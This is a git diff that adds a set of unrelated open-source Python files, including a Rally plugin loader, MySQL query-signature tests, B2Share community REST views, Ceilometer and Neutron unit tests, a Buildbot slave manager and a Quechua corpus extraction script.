+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+import functools
+import os
+
+from rally.common.plugin import discover
+
+
+PLUGINS_LOADED = False
+
+
+def load():
+    global PLUGINS_LOADED
+
+    if not PLUGINS_LOADED:
+        from rally.common import opts
+
+        opts.register()
+
+        # NOTE(andreykurilin): `rally.plugins.common` includes deprecated
+        #   modules. As soon as they will be removed the direct import of
+        #   validators should be replaced by
+        #
+        #       discover.import_modules_from_package("rally.plugins.common")
+        from rally.plugins.common import validators  # noqa: F401
+
+        discover.import_modules_from_package("rally.plugins.task")
+        discover.import_modules_from_package("rally.plugins.verification")
+
+        packages = discover.find_packages_by_entry_point()
+        for package in packages:
+            if "options" in package:
+                opts.register_options_from_path(package["options"])
+        discover.import_modules_by_entry_point(_packages=packages)
+
+        discover.load_plugins("/opt/rally/plugins/")
+        discover.load_plugins(os.path.expanduser("~/.rally/plugins/"))
+
+    PLUGINS_LOADED = True
+
+
+def ensure_plugins_are_loaded(func):
+    @functools.wraps(func)
+    def wrapper(*args, **kwargs):
+        load()
+        return func(*args, **kwargs)
+    return wrapper
diff --git a/pool/shard000/Python/0007672_mysql_tests.py b/pool/shard000/Python/0007672_mysql_tests.py
new file mode 100644
index 0000000000000000000000000000000000000000..ab58494409123f1f7dee53576f09d9bd522c3324
--- /dev/null
+++ b/pool/shard000/Python/0007672_mysql_tests.py
@@ -0,0 +1,164 @@
+# -*- coding: utf-8 -*-
+
+#  BSD 3-Clause License
+#
+#  Copyright (c) 2019, Elasticsearch BV
+#  All rights reserved.
+#
+#  Redistribution and use in source and binary forms, with or without
+#  modification, are permitted provided that the following conditions are met:
+#
+#  * Redistributions of source code must retain the above copyright notice, this
+#    list of conditions and the following disclaimer.
+#
+#  * Redistributions in binary form must reproduce the above copyright notice,
+#    this list of conditions and the following disclaimer in the documentation
+#    and/or other materials provided with the distribution.
+#
+#  * Neither the name of the copyright holder nor the names of its
+#    contributors may be used to endorse or promote products derived from
+#    this software without specific prior written permission.
+#
+#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+#  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+#  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+#  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+#  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+#  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+#  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+#  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+#  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+#  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+from elasticapm.instrumentation.packages.mysql import extract_signature
+
+
+def test_insert():
+    sql = """INSERT INTO `mytable` (id, name) VALUE ('2323', 'Ron')"""
+    actual = extract_signature(sql)
+
+    assert "INSERT INTO mytable" == actual
+
+
+def test_update():
+    sql = """UPDATE `mytable` set name='Ron' WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert "UPDATE mytable" == actual
+
+
+def test_delete():
+    sql = """DELETE FROM `mytable` WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert "DELETE FROM mytable" == actual
+
+
+def test_select_simple():
+    sql = """SELECT `id`, `name` FROM `mytable` WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM mytable" == actual
+
+
+def test_select_with_entity_quotes():
+    sql = """SELECT `id`, `name` FROM `mytable` WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM mytable" == actual
+
+
+def test_select_with_difficult_values():
+    sql = """SELECT id, 'some \\'name' + " from Denmark" FROM `mytable` WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM mytable" == actual
+
+
+def test_select_with_difficult_table_name():
+    sql = u"""SELECT id FROM `myta\n-æøåble` WHERE id = 2323"""
+    actual = extract_signature(sql)
+
+    assert u"SELECT FROM myta\n-æøåble" == actual
+
+
+def test_select_subselect():
+    sql = """SELECT id, name FROM (
+            SELECT id, "not a FROM ''value" FROM mytable WHERE id = 2323
+    ) LIMIT 20"""
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM mytable" == actual
+
+
+def test_select_subselect_with_alias():
+    sql = """
+    SELECT count(*)
+    FROM (
+        SELECT count(id) AS some_alias, some_column
+        FROM mytable
+        GROUP BY some_colun
+        HAVING count(id) > 1
+    ) AS foo
+    """
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM mytable" == actual
+
+
+def test_select_with_multiple_tables():
+    sql = """SELECT count(table2.id)
+        FROM table1, table2, table2
+        WHERE table2.id = table1.table2_id
+    """
+    actual = extract_signature(sql)
+    assert "SELECT FROM table1" == actual
+
+
+def test_select_with_invalid_literal():
+    sql = 'SELECT "neverending literal FROM (SELECT * FROM ...' ""
+    actual = extract_signature(sql)
+
+    assert "SELECT FROM" == actual
+
+
+def test_savepoint():
+    sql = """SAVEPOINT x_asd1234"""
+    actual = extract_signature(sql)
+
+    assert "SAVEPOINT" == actual
+
+
+def test_begin():
+    sql = """BEGIN"""
+    actual = extract_signature(sql)
+
+    assert "BEGIN" == actual
+
+
+def test_create_index_with_name():
+    sql = """CREATE INDEX myindex ON mytable"""
+    actual = extract_signature(sql)
+
+    assert "CREATE INDEX" == actual
+
+
+def test_create_index_without_name():
+    sql = """CREATE INDEX ON mytable"""
+    actual = extract_signature(sql)
+
+    assert "CREATE INDEX" == actual
+
+
+def test_drop_table():
+    sql = """DROP TABLE mytable"""
+    actual = extract_signature(sql)
+
+    assert "DROP TABLE" == actual
+
+
+def test_multi_statement_sql():
+    sql = """CREATE TABLE mytable; SELECT * FROM mytable; DROP TABLE mytable"""
+    actual = extract_signature(sql)
+
+    assert "CREATE TABLE" == actual
diff --git a/pool/shard000/Python/0007679_views.py b/pool/shard000/Python/0007679_views.py
new file mode 100644
index 0000000000000000000000000000000000000000..4a6dfa7425543da8f952d4cf30516dc812135e55
--- /dev/null
+++ b/pool/shard000/Python/0007679_views.py
@@ -0,0 +1,312 @@
+# -*- coding: utf-8 -*-
+#
+# This file is part of EUDAT B2Share.
+# Copyright (C) 2016 University of Tuebingen, CERN.
+# Copyright (C) 2015 University of Tuebingen.
+#
+# B2Share is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of the
+# License, or (at your option) any later version.
+#
+# B2Share is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with B2Share; if not, write to the Free Software Foundation, Inc.,
+# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
+#
+# In applying this license, CERN does not
+# waive the privileges and immunities granted to it by virtue of its status
+# as an Intergovernmental Organization or submit itself to any jurisdiction.
+
+"""B2Share Communities REST API"""
+
+from __future__ import absolute_import
+
+from functools import wraps
+
+from flask import Blueprint, abort, current_app, make_response, request, \
+                  jsonify, url_for
+from invenio_db import db
+from invenio_rest import ContentNegotiatedMethodView
+from invenio_rest.decorators import require_content_types
+from jsonpatch import InvalidJsonPatch, JsonPatchConflict, JsonPatchException
+from werkzeug.exceptions import HTTPException
+from werkzeug.local import LocalProxy
+
+from .api import Community
+from .errors import CommunityDeletedError, CommunityDoesNotExistError, \
+    InvalidCommunityError
+from .permissions import communities_create_all_permission, \
+    delete_permission_factory, read_permission_factory, \
+    update_permission_factory
+from .serializers import community_to_json_serializer, \
+    search_to_json_serializer, community_self_link
+from b2share.utils import is_valid_uuid
+
+current_communities = LocalProxy(
+    lambda: current_app.extensions['b2share-communities'])
+
+blueprint = Blueprint(
+    'b2share_communities',
+    __name__,
+    url_prefix='/communities'
+)
+
+
+def pass_community(f):
+    """Decorator to retrieve a community."""
+    @wraps(f)
+    def inner(self, community_id, *args, **kwargs):
+        try:
+            if is_valid_uuid(community_id):
+                community = Community.get(id=community_id)
+            else:
+                community = Community.get(name=community_id)
+        except (CommunityDoesNotExistError):
+            abort(404)
+        except (CommunityDeletedError):
+            abort(410)
+
+        return f(self, community=community, *args, **kwargs)
+    return inner
+
+
+def verify_community_permission(permission_factory, community):
+    """Check that the current user has the required permissions on community.
+
+    Args:
+        permission_factory: permission factory used to check permissions.
+        community: community whose access is limited.
+    """
+    # Note, cannot be done in one line due overloading of boolean
+    # operations permission object.
+    if not permission_factory(community).can():
+        from flask_login import current_user
+        if not current_user.is_authenticated:
+            abort(401)
+        abort(403)
+
+
+def need_community_permission(permission_factory):
+    """Decorator checking that the user has the required community permissions.
+
+    Args:
+        factory_name: name of the factory to retrieve.
+    """
+    def need_community_permission_builder(f):
+        @wraps(f)
+        def need_community_permission_decorator(self, community, *args,
+                                                **kwargs):
+            verify_community_permission(permission_factory, community)
+            return f(self, community=community, *args, **kwargs)
+        return need_community_permission_decorator
+    return need_community_permission_builder
+
+
+def _generic_search_result(item_array):
+    self_link = url_for('b2share_communities.communities_list', _external=True)
+    return {
+        'hits': {
+            'hits':item_array,
+            'total':len(item_array)
+        },
+        'links':{
+            'self': self_link,
+        }
+    }
+
+
+class CommunityListResource(ContentNegotiatedMethodView):
+
+    view_name = 'communities_list'
+
+    def __init__(self, **kwargs):
+        """Constructor."""
+        super(CommunityListResource, self).__init__(
+            method_serializers={
+                'GET': {
+                    'application/json': search_to_json_serializer,
+                },
+                'POST': {
+                    'application/json': community_to_json_serializer,
+                },
+            },
+            default_method_media_type={
+                'GET': 'application/json',
+                'POST': 'application/json',
+            },
+            default_media_type='application/json',
+            **kwargs)
+
+    def get(self):
+        """Retrieve a list of communities."""
+        # TODO: change this to a search function, not just a list of communities
+        from .serializers import community_to_dict
+        start = request.args.get('start') or 0
+        stop = request.args.get('stop') or 100
+        community_list = Community.get_all(start, stop)
+        community_dict_list = [community_to_dict(c) for c in community_list]
+        response_dict = _generic_search_result(community_dict_list)
+        response = jsonify(response_dict)
+        # TODO: set etag
+        return response
+
+    # def post(self):
+    #     """Create a new community."""
+    #     if request.content_type != 'application/json':
+    #         abort(415)
+    #     data = request.get_json()
+    #     if data is None:
+    #         return abort(400)
+    #     # check user permissions
+    #     if (not current_communities.rest_access_control_disabled and
+    #             not communities_create_all_permission.can()):
+    #         from flask_login import current_user
+    #         if not current_user.is_authenticated:
+    #             abort(401)
+    #         abort(403)
+
+    #     try:
+    #         community = Community.create_community(**data)
+    #         response = self.make_response(
+    #             community=community,
+    #             code=201,
+    #         )
+    #         # set the header's Location field.
+    #         response.headers['Location'] = community_self_link(community)
+    #         db.session.commit()
+    #         return response
+    #     except InvalidCommunityError as e1:
+    #         try:
+    #             db.session.rollback()
+    #         except Exception as e2:
+    #             raise e2 from e1
+    #         abort(400)
+    #     except Exception as e1:
+    #         try:
+    #             db.session.rollback()
+    #         except Exception as e2:
+    #             raise e2 from e1
+    #         if isinstance(e1, HTTPException):
+    #             raise e1
+    #         current_app.logger.exception('Failed to create record.')
+    #         abort(500)
+
+
+class CommunityResource(ContentNegotiatedMethodView):
+
+    view_name = 'communities_item'
+
+    def __init__(self, **kwargs):
+        """Constructor."""
+        super(CommunityResource, self).__init__(
+            serializers={
+                'application/json': community_to_json_serializer,
+            },
+            method_serializers={
+                'DELETE': {'*/*': lambda *args: make_response(*args), },
+            },
+            default_method_media_type={
+                'GET': 'application/json',
+                'PUT': 'application/json',
+                'DELETE': '*/*',
+                'PATCH': 'application/json',
+            },
+            default_media_type='application/json',
+            **kwargs)
+
+    # @pass_community
+    # @need_community_permission(delete_permission_factory)
+    # def delete(self, community, **kwargs):
+    #     """Delete a community."""
+    #     # check the ETAG
+    #     self.check_etag(str(community.updated))
+    #     try:
+    #         community.delete()
+    #         db.session.commit()
+    #     except Exception as e1:
+    #         current_app.logger.exception('Failed to create record.')
+    #         try:
+    #             db.session.rollback()
+    #         except Exception as e2:
+    #             raise e2 from e1
+    #         abort(500)
+    #     return '', 204
+
+    @pass_community
+    #@need_community_permission(read_permission_factory)
+    def get(self, community, **kwargs):
+        """Get a community's metadata."""
+        # check the ETAG
+        self.check_etag(str(community.updated))
+        return community
+
+    # @require_content_types('application/json-patch+json', 'application/json')
+    # @pass_community
+    # @need_community_permission(update_permission_factory)
+    # def patch(self, community, **kwargs):
+    #     """Patch a community."""
+    #     # check the ETAG
+    #     self.check_etag(str(community.updated))
+
+    #     data = request.get_json(force=True)
+    #     if data is None:
+    #         abort(400)
+    #     try:
+    #         if 'application/json' == request.content_type:
+    #             community.update(data)
+    #         else:
+    #             community = community.patch(data)
+    #         db.session.commit()
+    #         return community
+    #     except (JsonPatchConflict):
+    #         abort(409)
+    #     except (JsonPatchException, InvalidJsonPatch):
+    #         abort(400)
+    #     except InvalidCommunityError:
+    #         db.session.rollback()
+    #         abort(400)
+    #     except Exception as e1:
+    #         current_app.logger.exception('Failed to patch record.')
+    #         try:
+    #             db.session.rollback()
+    #         except Exception as e2:
+    #             raise e2 from e1
+    #         abort(500)
+
+    # @require_content_types('application/json')
+    # @pass_community
+    # @need_community_permission(update_permission_factory)
+    # def put(self, community, **kwargs):
+    #     """Put a community."""
+    #     # check the ETAG
+    #     self.check_etag(str(community.updated))
+
+    #     data = request.get_json(force=True)
+    #     if data is None:
+    #         abort(400)
+    #     try:
+    #         community.update(data, clear_fields=True)
+    #         db.session.commit()
+    #         return community
+    #     except InvalidCommunityError:
+    #         db.session.rollback()
+    #         abort(400)
+    #     except Exception as e1:
+    #         current_app.logger.exception('Failed to patch record.')
+    #         try:
+    #             db.session.rollback()
+    #         except Exception as e2:
+    #             raise e2 from e1
+    #         abort(500)
+
+blueprint.add_url_rule('/',
+                       view_func=CommunityListResource
+                       .as_view(CommunityListResource.view_name))
+blueprint.add_url_rule('/<community_id>',
+                       view_func=CommunityResource
+                       .as_view(CommunityResource.view_name))
diff --git a/pool/shard000/Python/0007680_control.py b/pool/shard000/Python/0007680_control.py
new file mode 100644
index 0000000000000000000000000000000000000000..0c932b17cfa56e6aeed4eab889f9b0830be50b2a
--- /dev/null
+++ b/pool/shard000/Python/0007680_control.py
@@ -0,0 +1,67 @@
+# -*- coding: utf-8 -*-
+
+from sqlalchemy.exc import IntegrityError
+
+from app.shared.models import db
+from app.admin.models import User
+
+
+class AdminControlException(Exception):
+    pass
+
+
+def create_new_user(kwargs):
+    """Create a new user in the database.
+
+    :param kwargs: attributes of the user.
+    :type kwargs: dict
+
+    """
+    if kwargs is None:
+        raise AdminControlException('no arguments provided')
+
+    user = User.new_user(**kwargs)
+    db.session.add(user)
+    try:
+        db.session.commit()
+    except IntegrityError as err:
+        raise AdminControlException(err.message)
+
+    return user
+
+
+def get_user_with_id(user_id):
+    """Retrieve an existing user from the database.
+
+    :param user_id: id of the user to retrieve.
+    :type user_id: int
+
+    """
+    user = User.query.filter_by(id=user_id).first()
+
+    if user is None:
+        raise AdminControlException('no user with id %d' % user_id)
+    else:
+        return user
+
+
+def get_user_with_name(user_name):
+    """Retrieve an existing user from the database.
+
+    :param user_name: username of the user to retrieve.
+    :type user_name: str
+
+    """
+    user = User.query.filter_by(name=user_name).first()
+
+    if user is None:
+        raise AdminControlException('no user with name %s' % user_name)
+    else:
+        return user
+
+
+def get_all_users():
+    """Retrieve a list of existing users from the database.
+
+    """
+    return User.query.order_by(User.name).all()
diff --git a/pool/shard000/Python/0007681_test_models.py b/pool/shard000/Python/0007681_test_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..0a542b1cca598c805a8c7132edebd8fafafd0f79
--- /dev/null
+++ b/pool/shard000/Python/0007681_test_models.py
@@ -0,0 +1,99 @@
+# -*- encoding: utf-8 -*-
+#
+# Copyright © 2013 Rackspace Hosting
+#
+# Author: Thomas Maddox <thomas.maddox@rackspace.com>
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may
+# not use this file except in compliance with the License. You may obtain
+# a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+# License for the specific language governing permissions and limitations
+# under the License.
+
+import datetime
+
+import mock
+import sqlalchemy
+from sqlalchemy.dialects.mysql import DECIMAL
+from sqlalchemy.types import NUMERIC
+
+from ceilometer.openstack.common import test
+from ceilometer.storage.sqlalchemy import models
+from ceilometer import utils
+
+
+class PreciseTimestampTest(test.BaseTestCase):
+
+    @staticmethod
+    def fake_dialect(name):
+        def _type_descriptor_mock(desc):
+            if type(desc) == DECIMAL:
+                return NUMERIC(precision=desc.precision, scale=desc.scale)
+        dialect = mock.MagicMock()
+        dialect.name = name
+        dialect.type_descriptor = _type_descriptor_mock
+        return dialect
+
+    def setUp(self):
+        super(PreciseTimestampTest, self).setUp()
+        self._mysql_dialect = self.fake_dialect('mysql')
+        self._postgres_dialect = self.fake_dialect('postgres')
+        self._type = models.PreciseTimestamp()
+        self._date = datetime.datetime(2012, 7, 2, 10, 44)
+
+    def test_load_dialect_impl_mysql(self):
+        result = self._type.load_dialect_impl(self._mysql_dialect)
+        self.assertEqual(NUMERIC, type(result))
+        self.assertEqual(20, result.precision)
+        self.assertEqual(6, result.scale)
+        self.assertTrue(result.asdecimal)
+
+    def test_load_dialect_impl_postgres(self):
+        result = self._type.load_dialect_impl(self._postgres_dialect)
+        self.assertEqual(sqlalchemy.DateTime, type(result))
+
+    def test_process_bind_param_store_decimal_mysql(self):
+        expected = utils.dt_to_decimal(self._date)
+        result = self._type.process_bind_param(self._date, self._mysql_dialect)
+        self.assertEqual(expected, result)
+
+    def test_process_bind_param_store_datetime_postgres(self):
+        result = self._type.process_bind_param(self._date,
+                                               self._postgres_dialect)
+        self.assertEqual(self._date, result)
+
+    def test_process_bind_param_store_none_mysql(self):
+        result = self._type.process_bind_param(None, self._mysql_dialect)
+        self.assertIsNone(result)
+
+    def test_process_bind_param_store_none_postgres(self):
+        result = self._type.process_bind_param(None,
+                                               self._postgres_dialect)
+        self.assertIsNone(result)
+
+    def test_process_result_value_datetime_mysql(self):
+        dec_value = utils.dt_to_decimal(self._date)
+        result = self._type.process_result_value(dec_value,
+                                                 self._mysql_dialect)
+        self.assertEqual(self._date, result)
+
+    def test_process_result_value_datetime_postgres(self):
+        result = self._type.process_result_value(self._date,
+                                                 self._postgres_dialect)
+        self.assertEqual(self._date, result)
+
+    def test_process_result_value_none_mysql(self):
+        result = self._type.process_result_value(None,
+                                                 self._mysql_dialect)
+        self.assertIsNone(result)
+
+    def test_process_result_value_none_postgres(self):
+        result = self._type.process_result_value(None,
+                                                 self._postgres_dialect)
+        self.assertIsNone(result)
diff --git a/pool/shard000/Python/0007682_test_nwa_l2_server_api.py b/pool/shard000/Python/0007682_test_nwa_l2_server_api.py
new file mode 100644
index 0000000000000000000000000000000000000000..2a50887b734501d0e8948a05ca6994e40d96e61f
--- /dev/null
+++ b/pool/shard000/Python/0007682_test_nwa_l2_server_api.py
@@ -0,0 +1,34 @@
+# Copyright 2016 NEC Corporation.  All rights reserved.
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+
+import mock
+from neutron.tests import base
+
+from networking_nec.nwa.l2.rpc import nwa_l2_server_api
+
+
+class TestNwaL2ServerApi(base.BaseTestCase):
+
+    @mock.patch('neutron.common.rpc.get_client')
+    def setUp(self, f1):
+        super(TestNwaL2ServerApi, self).setUp()
+        self.proxy = nwa_l2_server_api.NwaL2ServerRpcApi("dummy-topic")
+        self.context = mock.MagicMock()
+
+    def test_release_dynamic_segment_from_agent(self):
+        cctxt = mock.MagicMock()
+        self.proxy.client.prepare.return_value = cctxt
+        self.proxy.release_dynamic_segment_from_agent(
+            self.context, 'physical_network', 'network_id')
+        self.assertEqual(1, cctxt.call.call_count)
diff --git a/pool/shard000/Python/0007683_manager.py b/pool/shard000/Python/0007683_manager.py
new file mode 100644
index 0000000000000000000000000000000000000000..1624c0eb84f0593ffe15a8721fae6a554de1a4e1
--- /dev/null
+++ b/pool/shard000/Python/0007683_manager.py
@@ -0,0 +1,141 @@
+# This file is part of Buildbot.  Buildbot is free software: you can
+# redistribute it and/or modify it under the terms of the GNU General Public
+# License as published by the Free Software Foundation, version 2.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+# details.
+#
+# You should have received a copy of the GNU General Public License along with
+# this program; if not, write to the Free Software Foundation, Inc., 51
+# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# Copyright Buildbot Team Members
+
+from buildbot import config
+from buildbot.buildslave.protocols import pb as bbpb
+from buildbot.util import misc
+from twisted.application import service
+from twisted.internet import defer
+from twisted.python import log
+from twisted.python.failure import Failure
+
+
+class BuildslaveRegistration(object):
+
+    __slots__ = ['master', 'buildslave', 'pbReg']
+
+    def __init__(self, master, buildslave):
+        self.master = master
+        self.buildslave = buildslave
+
+    def __repr__(self):
+        return "<%s for %r>" % (self.__class__.__name__, self.buildslave.slavename)
+
+    @defer.inlineCallbacks
+    def unregister(self):
+        bs = self.buildslave
+        # update with portStr=None to remove any registration in place
+        yield self.master.buildslaves.pb.updateRegistration(
+            bs.slavename, bs.password, None)
+        yield self.master.buildslaves._unregister(self)
+
+    @defer.inlineCallbacks
+    def update(self, slave_config, global_config):
+        # For most protocols, there's nothing to do, but for PB we must
+        # update the registration in case the port or password has changed.
+        self.pbReg = yield self.master.buildslaves.pb.updateRegistration(
+            slave_config.slavename, slave_config.password,
+            global_config.protocols['pb']['port'])
+
+    def getPBPort(self):
+        return self.pbReg.getPort()
+
+
+class BuildslaveManager(config.ReconfigurableServiceMixin,
+                        service.MultiService):
+
+    name = "buildslaves"
+    PING_TIMEOUT = 10
+
+    def __init__(self, master):
+        service.MultiService.__init__(self)
+        self.setName('buildslaves')
+        self.master = master
+
+        self.pb = bbpb.Listener(self.master)
+        self.pb.setServiceParent(self)
+
+        # BuildslaveRegistration instances keyed by buildslave name
+        self.registrations = {}
+
+        # connection objects keyed by buildslave name
+        self.connections = {}
+
+    @defer.inlineCallbacks
+    def reconfigService(self, new_config):
+
+        # TODO: make buildslaves child services to this object instead of
+        # BotMaster, so they no longer need to register
+
+        # reconfig any newly-added change sources, as well as existing
+        yield config.ReconfigurableServiceMixin.reconfigService(self,
+                                                                new_config)
+
+    def getBuildslaveByName(self, buildslaveName):
+        return self.registrations[buildslaveName].buildslave
+
+    def register(self, buildslave):
+        # TODO: doc that reg.update must be called, too
+        buildslaveName = buildslave.slavename
+        reg = BuildslaveRegistration(self.master, buildslave)
+        self.registrations[buildslaveName] = reg
+        return defer.succeed(reg)
+
+    def _unregister(self, registration):
+        del self.registrations[registration.buildslave.slavename]
+
+    @defer.inlineCallbacks
+    def newConnection(self, conn, buildslaveName):
+        if buildslaveName in self.connections:
+            log.msg("Got duplication connection from '%s'"
+                    " starting arbitration procedure" % buildslaveName)
+            old_conn = self.connections[buildslaveName]
+            try:
+                yield misc.cancelAfter(self.PING_TIMEOUT,
+                                       old_conn.remotePrint("master got a duplicate connection"))
+                # if we get here then old connection is still alive, and new
+                # should be rejected
+                defer.returnValue(
+                    Failure(RuntimeError("rejecting duplicate slave"))
+                )
+            except defer.CancelledError:
+                old_conn.loseConnection()
+                log.msg("Connected slave '%s' ping timed out after %d seconds"
+                        % (buildslaveName, self.PING_TIMEOUT))
+            except Exception, e:
+                old_conn.loseConnection()
+                log.msg("Got error while trying to ping connected slave %s:"
+                        "%s" % (buildslaveName, e))
+            log.msg("Old connection for '%s' was lost, accepting new" % buildslaveName)
+
+        try:
+            yield conn.remotePrint(message="attached")
+            info = yield conn.remoteGetSlaveInfo()
+            log.msg("Got slaveinfo from '%s'" % buildslaveName)
+        except Exception, e:
+            log.msg("Failed to communicate with slave '%s'\n"
+                    "%s" % (buildslaveName, e)
+                    )
+            defer.returnValue(False)
+
+        conn.info = info
+        self.connections[buildslaveName] = conn
+
+        def remove():
+            del self.connections[buildslaveName]
+        conn.notifyOnDisconnect(remove)
+
+        # accept the connection
+        defer.returnValue(True)
diff --git a/pool/shard000/Python/0007685_extractelicitation.py b/pool/shard000/Python/0007685_extractelicitation.py
new file mode 100644
index 0000000000000000000000000000000000000000..f2285d7ed481ea394d2e3df1d62d53df12268643
--- /dev/null
+++ b/pool/shard000/Python/0007685_extractelicitation.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python3
+
+"""Get all the useful pairs of adjectives with nouns out of the elicitation
+corpora."""
+
+import os, glob
+
+import extract
+
+quechuapos = set()
+def extractfrompair(srcsent, tgtsent, aligned):
+    spanishwords = srcsent.strip().split()
+    quechuawords = tgtsent.strip().split()
+    ## find all the cases where we see a Quechua word that's an adjective,
+    ## followed by a noun.
+    
+    adjectives = []
+    for qw in quechuawords:
+        qw = qw.replace("+","")
+        answers = extract.quechuaMA(qw)
+        for answer in answers:
+            if answer is not None and answer[1] is not None:
+                try:
+                    quechuapos.add(answer[1]['pos'])
+                    if answer[1]['pos'] == 'adj':
+                        adjectives.append(qw)
+                except:
+                    continue
+    if adjectives:
+        print("srcsent:", srcsent)
+        print("tgtsent:", tgtsent)
+        print("aligned:", aligned)
+        print("adjectives:", adjectives)
+
+def extract_fn(fn):
+    srcsent,tgtsent,aligned = None,None,None
+    with open(fn, encoding="latin-1") as infile:
+        for line in infile:
+            line = line.strip()
+            if line == "newpair":
+                srcsent,tgtsent,aligned = None,None,None
+
+            if line.startswith("srcsent:"):
+                srcsent = line.split(":")[1]
+            if line.startswith("tgtsent:"):
+                tgtsent = line.split(":")[1]
+            if line.startswith("aligned:"):
+                aligned = line.split(":")[1]
+
+            if srcsent and tgtsent and aligned:
+                extractfrompair(srcsent, tgtsent, aligned)
+                # extractfrompair_es(srcsent, tgtsent, aligned)
+
+def main():
+    elicitation = os.path.expanduser("~/corpora/Quechua/Elicitation/CorpusDone")
+    fns = glob.glob(elicitation + "/[FS]C*.txt")
+
+    extract.load_spanish_adjectives()
+
+    for fn in fns:
+        print("**** {0} ****".format(fn))
+        extract_fn(fn)
+    print(quechuapos)
+
+if __name__ == "__main__": main()
diff --git a/pool/shard000/Python/0007687_inner_transaction_result_ext.py b/pool/shard000/Python/0007687_inner_transaction_result_ext.py
new file mode 100644
index 0000000000000000000000000000000000000000..653d037376054649f2b4aacdc639cda3017cead3
--- /dev/null
+++ b/pool/shard000/Python/0007687_inner_transaction_result_ext.py
@@ -0,0 +1,69 @@
+# This is an automatically generated file.
+# DO NOT EDIT or your changes may be overwritten
+import base64
+from xdrlib import Packer, Unpacker
+
+from ..type_checked import type_checked
+from .base import Integer
+
+__all__ = ["InnerTransactionResultExt"]
+
+
+@type_checked
+class InnerTransactionResultExt:
+    """
+    XDR Source Code::
+
+        union switch (int v)
+            {
+            case 0:
+                void;
+            }
+    """
+
+    def __init__(
+        self,
+        v: int,
+    ) -> None:
+        self.v = v
+
+    def pack(self, packer: Packer) -> None:
+        Integer(self.v).pack(packer)
+        if self.v == 0:
+            return
+
+    @classmethod
+    def unpack(cls, unpacker: Unpacker) -> "InnerTransactionResultExt":
+        v = Integer.unpack(unpacker)
+        if v == 0:
+            return cls(v=v)
+        return cls(v=v)
+
+    def to_xdr_bytes(self) -> bytes:
+        packer = Packer()
+        self.pack(packer)
+        return packer.get_buffer()
+
+    @classmethod
+    def from_xdr_bytes(cls, xdr: bytes) -> "InnerTransactionResultExt":
+        unpacker = Unpacker(xdr)
+        return cls.unpack(unpacker)
+
+    def to_xdr(self) -> str:
+        xdr_bytes = self.to_xdr_bytes()
+        return base64.b64encode(xdr_bytes).decode()
+
+    @classmethod
+    def from_xdr(cls, xdr: str) -> "InnerTransactionResultExt":
+        xdr_bytes = base64.b64decode(xdr.encode())
+        return cls.from_xdr_bytes(xdr_bytes)
+
+    def __eq__(self, other: object):
+        if not isinstance(other, self.__class__):
+            return NotImplemented
+        return self.v == other.v
+
+    def __str__(self):
+        out = []
+        out.append(f"v={self.v}")
+        return f"<InnerTransactionResultExt {[', '.join(out)]}>"
diff --git a/pool/shard000/Python/0007689_tasker.py b/pool/shard000/Python/0007689_tasker.py
new file mode 100644
index 0000000000000000000000000000000000000000..315a5572775a5e5bb4b2df32e43d437562a9d5a3
--- /dev/null
+++ b/pool/shard000/Python/0007689_tasker.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+
+import datetime
+import json
+import sys
+
+from argparse import ArgumentParser as AP
+from os import path
+
+printTask = lambda t: print("%(id)s %(done) %(date)s %(text)s" % t)
+
+
+def readFile(filename):
+    try:
+        file = open(filename)
+    except IOError as e:
+        sys.stderr.write(str(e) + "\n")
+        sys.stderr.write("Try 'touch " + filename + "'\n")
+        exit(1)
